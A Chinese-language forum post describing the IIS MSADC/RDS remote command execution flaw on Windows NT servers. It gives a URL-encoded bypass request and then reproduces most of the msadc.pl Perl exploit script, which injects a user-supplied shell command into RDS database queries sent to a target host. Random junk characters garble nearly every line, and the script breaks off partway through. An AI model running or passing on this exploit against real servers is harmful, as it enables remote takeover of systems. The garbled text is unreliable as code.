IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
SJgY v$w++3H 涉及程序:
(!?K7<Jv Microsoft NT server
y~<@x. %1:c hvS 描述:
~=y3Gd
B3 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Cef:tdk7 z"F*\xa 详细:
l!IKUzt)7 如果你没有时间读详细内容的话,就删除:
X21dX`eMN c:\Program Files\Common Files\System\Msadc\msadcs.dll
B>TSdn={> 有关的安全问题就没有了。
>E"9*:.^a +'03>!V 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
mxqG-*ch- CV.+P- 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
q9}m!*8e 关于利用ODBC远程漏洞的描述,请参看:
'5H4z7) 2RppP?M! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm "2Op[~V }C(5 -7 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
2'{}<9 http://www.microsoft.com/security/bulletins/MS99-025faq.asp B/eaqJ )fh0&Y; R 这里不再论述。
;rBp1[qVe Rs$5PdH 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
[6gO 0\a8}b|| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
%AR^+*Nu 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
#s+X+fe XizPM N5a OV5e#AOy) #将下面这段保存为txt文件,然后: "perl -x 文件名"
.2X2b<%) %<}=xJf>1 #!perl
`Q9+k< #
5()Fvae{k # MSADC/RDS 'usage' (aka exploit) script
J gi
Iq
#
&:!ij # by rain.forest.puppy
+{rJ[J/g #
-i_En^Fi # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
')nnWlK # beta test and find errors!
kfj% D<nxr~pQ use Socket; use Getopt::Std;
4 iH&:Al getopts("e:vd:h:XR", \%args);
ac6*v49 .[f;(WR print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
R [9w g@E&uyM if (!defined $args{h} && !defined $args{R}) {
}aZrou3E print qq~
#?m{YT{P Usage: msadc.pl -h <host> { -d <delay> -X -v }
R`Qpd3 -h <host> = host you want to scan (ip or domain)
R=35
7^[R -d <seconds> = delay between calls, default 1 second
P^(.tr3t -X = dump Index Server path table, if available
$Sb@zLi) -v = verbose
H7jTQW0rp5 -e = external dictionary file for step 5
oEAfowXSqk lO&cCV; Or a -R will resume a command session
#`j][F@N /c^e&D ~; exit;}
r~[B_f! Uh\]?G[G $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
gfV DqDF if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
MF|*AB|E if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
j i##$xC if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
qC.i6IL $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
tDU}rI8? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Ws>i)6[ <_f`$z if (!defined $args{R}){ $ret = &has_msadc;
_ _=s' die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
lWlUWhLnP 5Jw"{V?Ak print "Please type the NT commandline you want to run (cmd /c assumed):\n"
wWFW,3b . "cmd /c ";
#Gp
M22d'( $in=<STDIN>; chomp $in;
2H>aC
wfX $command="cmd /c " . $in ;
s*+ZYPk U6a zhi&, if (defined $args{R}) {&load; exit;}
+_-Y`O!Q gA"<MI'y print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
.$^wy3:F" &try_btcustmr;
y&3TQ]f\ i^/DiWdyf print "\nStep 2: Trying to make our own DSN...";
kDg{>mf &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
^#7viZ* @?vLAsp\ print "\nStep 3: Trying known DSNs...";
,W8au" &known_dsn;
dv[\.T`LY 1{7_ `[ print "\nStep 4: Trying known .mdbs...";
RSFJu\0}N &known_mdb;
Z]p8IH%~92 B%y! aQep if (defined $args{e}){
excrXx print "\nStep 5: Trying dictionary of DSN names...";
gTuX *7w &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Lv^a+'
sxt`0oE print "Sorry Charley...maybe next time?\n";
9yDFHz w exit;
jvWI_Fto l&$*}yCK ##############################################################################
jPj2 ^xmZ|f- sub sendraw { # ripped and modded from whisker
(}6wAfGo sleep($delay); # it's a DoS on the server! At least on mine...
jJ*=Ghu- my ($pstr)=@_;
]}/mFY?7 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4 ;^g MI9 die("Socket problems\n");
m^5s>hUl if(connect(S,pack "SnA4x8",2,80,$target)){
Mo~ki"9. select(S); $|=1;
I>d I[U print $pstr; my @in=<S>;
Cv0&prt select(STDOUT); close(S);
>QA/Mi~R return @in;
BQE{ } else { die("Can't connect...\n"); }}
p EY>A_F KxGKA ##############################################################################
B,w:DX TS/Cp{ sub make_header { # make the HTTP request
@pTD{OW? my $msadc=<<EOT
K*0aXr? POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
a4Ls^ User-Agent: ACTIVEDATA
iJEB?y Host: $ip
,9F*96 Content-Length: $clen
keq r%:E8 Connection: Keep-Alive
7&=-a|k~ q^)=F_QvG ADCClientVersion:01.06
VjC*(6<Gj Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
.@fK;/OuC P=&'wblm? --!ADM!ROX!YOUR!WORLD!
<>SR 4 Content-Type: application/x-varg
wwo(n$!\ Content-Length: $reqlen
@Q/x&BV q;CayN'I EOT
qPL^zM+ ; $msadc=~s/\n/\r\n/g;
E"G:K`Q return $msadc;}
(zjz]@qJ <j{0!J@: ##############################################################################
+Gk!
t]dy e 4 p*51ra sub make_req { # make the RDS request
@^'G&%j my ($switch, $p1, $p2)=@_;
-q'xC: m my $req=""; my $t1, $t2, $query, $dsn;
-iY9GN89c
#;5[('&[ if ($switch==1){ # this is the btcustmr.mdb query
DZ%g^DRZX $query="Select * from Customers where City=" . make_shell();
aQl?d<|+lk $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
D?iy.Dg $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
jl;kcGE |h#DL$ elsif ($switch==2){ # this is general make table query
= 4BLc $query="create table AZZ (B int, C varchar(10))";
,`ZPtnH+ $dsn="$p1";}
(eCF>Wh^m 7JxE|G elsif ($switch==3){ # this is general exploit table query
_#/!s]$d#
$query="select * from AZZ where C=" . make_shell();
B
rez&3[ $dsn="$p1";}
,maAw}= &:;/]cwj elsif ($switch==4){ # attempt to hork file info from index server
7$g*N6)Q $query="select path from scope()";
`E./p $dsn="Provider=MSIDXS;";}
NmH}"ndv+ `f\5p+!<7R elsif ($switch==5){ # bad query
P@gu~! $query="select";
OVDMC4K2z! $dsn="$p1";}
&(5^vw<0 K[iY{ $t1= make_unicode($query);
wQF&GGYR $t2= make_unicode($dsn);
{{^Mr)]5K $req = "\x02\x00\x03\x00";
btUUZ"q< $req.= "\x08\x00" . pack ("S1", length($t1));
c,6<7 $req.= "\x00\x00" . $t1 ;
-IpV'%nX; $req.= "\x08\x00" . pack ("S1", length($t2));
0C7thl{Dms $req.= "\x00\x00" . $t2 ;
a}5vY $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
n4ds;N3Hd return $req;}
?c|`R1D bqZ?uvc3 ##############################################################################
vR6^n~ fl
pXVtsQ sub make_shell { # this makes the shell() statement
JL"
3#p} return "'|shell(\"$command\")|'";}
;a!h.8UJPI %4|n-`: ##############################################################################
2.HZ+1 WU+Jo@]y sub make_unicode { # quick little function to convert to unicode
*@\?}cX my ($in)=@_; my $out;
NPB ,q& Th for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
9,iq"dQ return $out;}
.d#G]8suF vOvxQS}dBp ##############################################################################
h 7(H%(^_ e 5WdK sub rdo_success { # checks for RDO return success (this is kludge)
;JPbBwm my (@in) = @_; my $base=content_start(@in);
zVc7q7E if($in[$base]=~/multipart\/mixed/){
W(u6J#2 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
`&|l;zsS return 0;}
'gk81@| a0V8L+v( ##############################################################################
JR?
)SGB Ab^>z sub make_dsn { # this makes a DSN for us
e-Ybac% my @drives=("c","d","e","f");
fwnYzd3 print "\nMaking DSN: ";
i#M a-0# foreach $drive (@drives) {
2-cU -i4 print "$drive: ";
0aTEJX$iZ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
={mPg+Ei' "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
OIXAjU*N . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
7{kpx$:_ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
8Y{}p[UFT return 0 if $2 eq "404"; # not found/doesn't exist
^;Hi/KvM\ if($2 eq "200") {
*Lb(urf foreach $line (@results) {
/C,> return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
ERX|cc } return 0;}
}(g+: ]p- lkSz7dr@ ##############################################################################
[c
KI0 %_j?<h& sub verify_exists {
7&RJDa:a7T my ($page)=@_;
R>e3@DQ~ my @results=sendraw("GET $page HTTP/1.0\n\n");
~-`BSR return $results[0];}
"zeJ4f @KXz4PU ##############################################################################
a'>$88tl V'.eesN sub try_btcustmr {
} TX'Z?Lq my @drives=("c","d","e","f");
Zjp5\+hHV my @dirs=("winnt","winnt35","winnt351","win","windows");
rmg";(I c~pUhx1( foreach $dir (@dirs) {
Wf`OyeRz print "$dir -> "; # fun status so you can see progress
TgQ|T57 foreach $drive (@drives) {
_Okn P2E print "$drive: "; # ditto
g]@R'2:1 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
=:n[{/O= $reqlenlen=length( "$reqlen" );
]=86[A-2N $clen= 206 + $reqlenlen + $reqlen;
s:jL/%+COZ sw qky5_K my @results=sendraw(make_header() . make_req(1,$drive,$dir));
|q!2i if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9a~BAH,j else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
*F8uu. ?/l}(t$H ##############################################################################
\")YKN=W c@o/Cv sub odbc_error {
LnRi+n[@7 my (@in)=@_; my $base;
QhE("}1 my $base = content_start(@in);
xBI"{nGoN if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
1O3<%T#LOZ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*l?%
o{ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
l~6 SR $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sei!9+bZr return $in[$base+4].$in[$base+5].$in[$base+6];}
Uhx2 _ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
A^Hp #b@ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
73sAZa| $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
*(SBl}f4l x]d"|jmVZ ##############################################################################
*}iT6OJ -_4jJxh=OB sub verbose {
CIik@O* my ($in)=@_;
yA>p[F return if !$verbose;
X"khuyT_ print STDOUT "\n$in\n";}
vVN[bD< v!'@NW_ ##############################################################################
]'ApOp by
y1MgQd sub save {
dBq,O%$oq my ($p1, $p2, $p3, $p4)=@_;
K?O X
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
\FY De print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
9B;Sk]y close OUT;}
owY_cDzrH T#^6u) ##############################################################################
&lfF!
l'{goy f sub load {
w>q_8V_K my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ZE(RvPW open(IN,"<rds.save") || die("Couldn't open rds.save\n");
2Ku#j
(' @p=<IN>; close(IN);
B)cb}.N: $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
H=BR
- $target= inet_aton($ip) || die("inet_aton problems");
1H[;7@o$e print "Resuming to $ip ...";
"yq;{AGOGl $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
+#db_k if($p[1]==1) {
Uus)2R7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Y(yJ|y& $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
|Gs-9+'y my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Jsnmn$C if (rdo_success(@results)){print "Success!\n";}
!<PTsk F else { print "failed\n"; verbose(odbc_error(@results));}}
,v5>sL elsif ($p[1]==3){
!skWe~/ if(run_query("$p[3]")){
!9cP NIi print "Success!\n";} else { print "failed\n"; }}
l45F*v]^ elsif ($p[1]==4){
)ZU#19vr7 if(run_query($drvst . "$p[3]")){
9/KQAc* print "Success!\n"; } else { print "failed\n"; }}
O
xaua exit;}
KQZ RzX>0 &J@ZF<Ib ##############################################################################
XUNgt(OGR' *ik)>c_ sub create_table {
"lzg@=$|) my ($in)=@_;
M_ cb(=ey $reqlen=length( make_req(2,$in,"") ) - 28;
A"ph!* i{ $reqlenlen=length( "$reqlen" );
+hhbp'% $clen= 206 + $reqlenlen + $reqlen;
4i&!V9@: my @results=sendraw(make_header() . make_req(2,$in,""));
C4TD@ return 1 if rdo_success(@results);
Z$K%@q,10+ my $temp= odbc_error(@results); verbose($temp);
4IE#dwZW return 1 if $temp=~/Table 'AZZ' already exists/;
{ 3P!b|V> return 0;}
^n5QKHD TEyPlSGG ##############################################################################
J@{Bv% .%h_W\M<l sub known_dsn {
8>+eGz| # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
V"p*Jd"w my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
EHJc*WFPU- "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
m{Xf_rQ
w "banner", "banners", "ads", "ADCDemo", "ADCTest");
a'fb0fz EqwA8?M foreach $dSn (@dsns) {
)p](*Z^ print ".";
Y(mwJud| next if (!is_access("DSN=$dSn"));
iU|C<A%Hh if(create_table("DSN=$dSn")){
U.)eJ1a print "$dSn successful\n";
uty]-k if(run_query("DSN=$dSn")){
yE/I)GOQjs print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
fP*C*4#X print "Something's borked. Use verbose next time\n";}}} print "\n";}
7En~~J3 %j`]x
-aOz ##############################################################################
sAj$U^Gp nW[aPQ[R sub is_access {
"q8'tN><